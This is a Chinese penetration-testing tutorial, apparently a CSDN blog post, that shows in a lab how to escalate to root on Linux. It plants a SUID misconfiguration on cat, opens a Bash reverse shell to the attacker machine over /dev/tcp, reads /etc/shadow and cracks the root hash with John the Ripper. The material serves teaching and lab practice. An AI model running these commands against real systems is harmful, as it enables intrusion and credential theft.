[权限提升] Linux 提权 维持 — 系统错误配置提权 - 明文 ROOT 密码提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:明文 Root 密码提权原理
大多数的 Linux 系统密码都与 /etc/passwd
和 /etc/shadow
这两个配置文件有关。passwd 中存储了用户信息,shadow 文件中则是存储了用户密码的 Hash 值。出于安全考虑 passwd 是所有用户都可读的,而 shadow 是仅 root 可读可写的。
若管理员因配置不当,导致泄露了 /etc/shadow
中的内容,就可能被攻击者通过爆破拿到 Root 明文密码,进而提权。
0x02:明文 Root 密码提权环境搭建
该提权方式可以结合之前介绍的所有提权方式,总之,只要能拿到机器中的 /etc/shadow
文件内容就可以使用该方法提权(不过说到底是爆破账号密码,成功率有限,且非常耗时)。
实验环境简介
靶机 CentOS7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
以 Root 用户登录靶机,使用下面的命令赋予 cat
命令 SUID 权限:
chmod u+s /usr/bin/cat
0x03:明文 Root 密码提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
此时回到 Kali 攻击机,可以看到靶机直接上线:
0x0302:使用 john 破解 /etc/shadow
工具获取:john.zip
如何查找系统中可利用的具有 SUID 权限的命令,在前面的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|Linux SUID 文件提权]] 已经介绍过了,这里主要还是介绍怎么破解 /etc/shadow
中的密码。
我们先通过 cat /etc/shadow
拿到文件内容(cat
命令被赋予了 SUID 权限,所以即使是低权限用户也可以读取该文件内容),保存到本地的 shadow.txt
文件中:
然后使用 Kali Linux 中的 John the Ripper 来尝试使用字典来爆破 shadow.txt
文件中的明文密码:
john --wordlist=<字典路径> <shadow 文件路径>
上面那个 --format=md5crypt
是它报错提示我加的,如果不加的话它默认是使用 sha256crypt
进行破解。
它破解完后,我们还可以通过 --show
命令结合 shadow 文件直接让它显示已经破解好的密码:
john <shadow 文件路径> --show
如上成功拿到了目标系统中的明文密码,至于提权,密码都拿到了,直接切换 root 用户就可以了。